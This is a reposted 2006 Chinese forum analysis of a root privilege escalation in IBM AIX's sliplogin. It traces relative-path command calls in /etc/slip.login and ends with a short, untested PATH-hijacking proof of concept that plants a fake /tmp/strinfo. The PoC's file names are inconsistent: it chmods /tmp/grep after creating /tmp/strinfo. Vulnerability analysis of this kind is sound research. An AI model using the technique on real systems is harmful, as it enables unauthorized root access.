2006-11-23 15:59
sinister
IBM AIX slip.login漏洞分析(转)
转自: xfocus 论坛
作者:watercloud
漏洞信息:
[url=http://www.nsfocus.net/vulndb/9320][color=#436976]http://www.nsfocus.net/vulndb/9320[/color][/url]
IBM AIX slip.login工具本地权限提升漏洞
发布日期:2006-09-25
更新日期:2006-09-27
受影响系统:
IBM AIX 5.3L
IBM AIX 5.3
IBM AIX 5.2L
IBM AIX 5.2
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 20191
IBM AIX是一款商业性质的UNIX操作系统。
AIX的/etc/slip.login工具实现上存在漏洞,本地攻击者可以利用此漏洞以root用户权限执行任意指令。
<*来源:IBM (ncsupp@ca.ibm.com)
链接:[url=http://secunia.com/advisories/22111/][color=#436976]http://secunia.com/advisories/22111/[/color][/url]
[url=http://www-1.ibm.com/support/docview.wss?uid=isg1IY88566][color=#436976]http://www-1.ibm.com/support/docview.wss?uid=isg1IY88566[/color][/url]
[url=http://www-1.ibm.com/support/docview.wss?uid=isg1IY88615][color=#436976]http://www-1.ibm.com/support/docview.wss?uid=isg1IY88615[/color][/url]
*>
建议:
--------------------------------------------------------------------------------
厂商补丁:
IBM
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
[url=ftp://aix.software.ibm.com/aix/efixes/security/sliplogin_ifix.tar.Z][color=#436976]ftp://aix.software.ibm.com/aix/efixes/security/sliplogin_ifix.tar.Z[/color][/url]
分析:
从以上内容可看出来的信息极少,但好歹有一个切入点:/etc/slip.login。
首先看看slip.login程序:
-
-bash-3.00$ cat /etc/slip.login
#!/usr/bin/sh -
# IBM_PROLOG_BEGIN_TAG
# This is an automatically generated prolog.
#
# bos530 src/bos/usr/sbin/sliplogin/slip.login 1.3
#
# Licensed Materials - Property of IBM
#
# (C) COPYRIGHT International Business Machines Corp. 1993,1994
# All Rights Reserved
#
# US Government Users Restricted Rights - Use, duplication or
# disclosure restricted by GSA ADP Schedule Contract with IBM Corp.
#
# IBM_PROLOG_END_TAG
# @(#)24 1.3 src/bos/usr/sbin/sliplogin/slip.login, cmdnet, bos530 4/26/94 08:35:44
#
# COMPONENT_NAME: CMDNET
#
# FUNCTIONS:
#
# ORIGINS: 26 27
#
# (C) COPYRIGHT International Business Machines Corp. 1993
# All Rights Reserved
# Licensed Materials - Property of IBM
#
# US Government Users Restricted Rights - Use, duplication or
# disclosure restricted by GSA ADP Schedule Contract with IBM Corp.
#
# @(#)slip.login 5.1 (Berkeley) 7/1/90
#
# generic login file for a slip line. sliplogin invokes this with
# the parameters:
# 1 2 3 4 5 6 7-n
# slipunit ttyspeed loginname local-addr remote-addr mask opt-args
#
/usr/sbin/ifconfig sl$1 inet $4 $5 netmask $6 up > /dev/null 2>&1
strinfo -m | grep "\'slip\'" > /dev/null 2>&1 || \
strload -m /usr/lib/drivers/slip > /dev/null 2>&1
exit
现在问题很明白了,以上命令全是相对路径调用,直接修改PATH环境变量就能欺骗程序执行我们自己的grep等命令。
bash-3.00$ ls -l /etc/slip.login
-r-xr-xr-x 1 root system 1285 8月27 2005 /etc/slip.login
但这个程序不是特权程序,那么既然他有漏洞,那一定是其他特权程序对他进行了调用,
随调用了他呢?
在/usr/sbin/下:
for f in * ;do strings $f |grep -q /etc/slip.login && echo $f ;done
简单遍历一下就找到了:
/usr/sbin/sliplogin
-bash-3.00$ ls -l sliplogin
-r-sr-xr-x 1 root system 15388 9月16 2004 sliplogin
-bash-3.00$ strings sliplogin |grep slip.login
/etc/slip.login
/etc/slip.login
/etc/slip.login
/etc/slip.login
starting slip login for %s
几乎能确定就是sliplogin特权程序调用/etc/slip.login,从而导致了漏洞。
运行一下:
-bash-3.00$ /usr/sbin/sliplogin host
Sliplogin 已调用。建立...
setsid: 文件描述符没有指向一个打开的文件。
-bash-3.00$ 试图锁定设备 /dev/pts/1 失败。
确定问题了,但离触发漏洞还有一段距离,
用ida pro反汇编sliplogin程序分析程序流程可以发现,有特定限制:
必须在本地控制台登陆/串口登陆/mode登陆的用户才能具有tty,才能通过tty检查(istty /ttyname/locktty)到达system("/etc/slip.login")流程。
由于我条件有限,没有能满足以上几点的条件就没有再测试下去了,但应该满足这几点够了.
利用就很简单了:
cat > /tmp/strinfo << EOF
#!/bin/sh
id > /tmp/id.log
EOF
chmod a+x /tmp/grep
export PATH=/tmp:$PATH
/usr/sbin/sliplogin host
cat /tmp/id.log